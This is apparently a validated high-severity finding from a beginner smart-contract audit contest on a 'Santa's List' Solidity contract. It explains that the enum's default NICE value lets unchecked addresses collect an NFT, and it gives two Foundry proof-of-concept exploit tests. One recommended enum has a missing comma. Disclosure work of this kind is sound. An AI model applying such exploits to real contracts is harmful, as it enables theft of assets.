First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Any not checked by santa address can collect present

dianivanov

Summary

The first defined member for the enum Status is "NICE", that means that any variable of type Status will have its default value "NICE". This is a problem because we let
some addresses to "collectPresent" if Santa's never called "checkList" & "checkTwice" functions for them. The mappings s_theListCheckedOnce, s_theListCheckedTwice will have default value of "NICE" for every address.

Vulnerability Details

The problem is that any address which was never checked by Santa (by calling checkList & checkTwice OR by calling ONLY checkList) is able to collectPresent successfully as they are NICE by default. Because for the enum type in Solidity, the default value is its first member.
If you add these tests to the SantaListTest.sol they will pass, but they shouldn't:

function test_attack_letRandomUsers_whoWereNeverChecked_toCollectPresent() public {
address randomAddress = makeAddr("randomAddress");
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
//santa has never checked the randomAddress by calling checkList(randomAddress, {Status.NICE}) & checkTwice(randomAddress, {Status.NICE})
​
vm.startPrank(randomAddress);
santasList.collectPresent();
assertEq(santasList.balanceOf(randomAddress), 1);
vm.stopPrank();
}
function test_attack_letRandomUsers_whoWereOnlyCheckListed_toCollectPresent() public {
address randomAddress = makeAddr("randomAddress");
​
vm.startPrank(santa);
santasList.checkList(randomAddress, SantasList.Status.NICE);
vm.stopPrank();
//santa has checked the randomAddress once but has never checked it twice by calling checkTwice(randomAddress, {Status.NICE})
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(randomAddress);
santasList.collectPresent();
assertEq(santasList.balanceOf(randomAddress), 1);
vm.stopPrank();
}

Impact

Random addresses who has never been "checked"(checkList & checkTwice) by Santa are allowed to get a present - 1 SANTA (NFT) from the SantasList contract.

Tools Used

Manual inspection & Foundry testing

Recommendations

Reorder the enum Status values like that:

enum Status {
    NOT_CHECKED_TWICE
    NICE,
    EXTRA_NICE,
    NAUGHTY
}

OR the protocol states that there are UNKNOWN addresses, in the context of that it makes more sense to add a new value of "UNKNOWN" to the Status enum like:

enum Status {
    UNKNOWN,
    NICE,
    EXTRA_NICE,
    NAUGHTY,
    NOT_CHECKED_TWICE
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

default status is nice

In Solidity the first element of an enum is the default value. In Santa's List, the means each person is mapped by default to 'NICE'.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.